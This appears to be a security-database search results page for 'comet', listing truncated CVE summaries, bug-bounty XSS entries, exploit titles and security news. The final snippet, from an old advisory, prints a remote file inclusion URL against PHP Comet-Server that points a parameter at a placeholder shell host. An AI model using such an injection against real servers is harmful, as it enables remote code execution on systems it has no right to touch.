403 matches found
CVE-2016-10856
cPanel before 11.54.0.0 allows subaccounts to discover sensitive data through comet feeds SEC-29...
CVE-2016-10856
cPanel before 11.54.0.0 allows subaccounts to discover sensitive data through comet feeds SEC-29...
Code injection
cPanel before 11.54.0.0 allows subaccounts to discover sensitive data through comet feeds SEC-29...
CVE-2016-10856
cPanel before 11.54.0.0 allows subaccounts to discover sensitive data through comet feeds SEC-29...
CVE-2016-10856
CVE-2016-10856 affects cPanel prior to 11.54.0.0, where subaccounts can disclose sensitive data through comet feeds (SEC-29). The provided connected sources confirm the affected product/version range and the data exposure vector but do not specify deeper root cause or exploit details. No explicit...
comet-feuerwerk.de XSS vulnerability
Open Bug Bounty ID: OBB-686829 Description| Value ---|--- Affected Website:| comet-feuerwerk.de Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| hidden until disclosure Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| hidd...
Malware Hunter Crawls Internet Looking for RAT C2s
A new crawler released today by Shodan designed to find command and control servers has already unearthed 5,800 controllers for more than 10 remote access Trojan RAT families. The crawler, called Malware Hunter, poses as an infected computer beaconing out to an attacker’s server waiting for...
Denial Of Service (DoS)
comet is vulnerable to denial of service DoS attacks. It is possible for an attacker to create a malicious XML document to parse, causing resource exhaustion when expanding XML entity...
Comet WebFileManager CheckUpload.php Language Parameter PHP Code Execution - Ver2 (CVE-2006-4077)
A code execution vulnerability has been reported in Vincenzo Valvano Comet WebFileManager CWFM. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system...
Comet WebFileManager CheckUpload.php Language Parameter PHP Code Execution - Ver2 (CVE-2006-4077)
A code execution vulnerability has been reported in Vincenzo Valvano Comet WebFileManager CWFM. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system...
Microsoft Sues British Electronic Dealer in Alleged Counterfeit Scam
Microsoft announced today it is suing Britain’s second-largest electronics retailer Comet for allegedly creating and selling more than 94,000 back-up discs of its Windows Vista and Windows XP product. Comet Group PLC allegedly produced counterfeit versions of the software in a factory in Hampshir...
Comet Player DLL Hijacking Exploit
Exploit for windows platform in category local exploits ================================== Comet Player DLL Hijacking Exploit ================================== || || | || o,7 || . o7 || 4||| ow, : / / . 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ ...
Comet Bird 3.6.10 Crash Exploit
Exploit for windows platform in category dos / poc =============================== Comet Bird 3.6.10 Crash Exploit =============================== || || | || o,7 || . o7 || 4||| ow, : / / . 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, ...
Comet Bird 3.6.10 Denial Of Service
=================================================== Comet Bird 3.6.10 Denial of service vulnerability =================================================== || || | || o,7 || . o7 || 4||| ow, : / / . -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0...
Unfixed XSS vulnerability at www.igpp.ucla.edu
Security researcher Vinay Katoch, has submitted on 14/02/2010 a cross-site-scripting XSS vulnerability affecting www.igpp.ucla.edu, which at the time of submission ranked 3383 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 06/07/2010. It is...
CVE-2007-3710
PHP remote file inclusion vulnerability in example/gamedemo/inc.functions.php in PHP Comet-Server allows remote attackers to execute arbitrary PHP code via a URL in the projectPath parameter...
Remote file inclusion
PHP remote file inclusion vulnerability in example/gamedemo/inc.functions.php in PHP Comet-Server allows remote attackers to execute arbitrary PHP code via a URL in the projectPath parameter...
CVE-2007-3710
The vulnerability CVE-2007-3710 affects PHP Comet-Server’s example/gamedemo/inc.functions.php, where a remote file inclusion allows an attacker to execute arbitrary PHP code. The root cause is improper handling of the projectPath parameter, enabling inclusion of remote files. The NVD metrics indi...
CVE-2007-3710
PHP remote file inclusion vulnerability in example/gamedemo/inc.functions.php in PHP Comet-Server allows remote attackers to execute arbitrary PHP code via a URL in the projectPath parameter...
phpcomet-rfi.txt
Discovered by: MasTerX ---------------- Bug in : comet/example/gamedemo/inc.functions.php Vlu Code : include$projectPath."/inc.var.php"; http://site.com/path/example/gamedemo/inc.functions.php?projectPath=http://SHELLURL.COM?...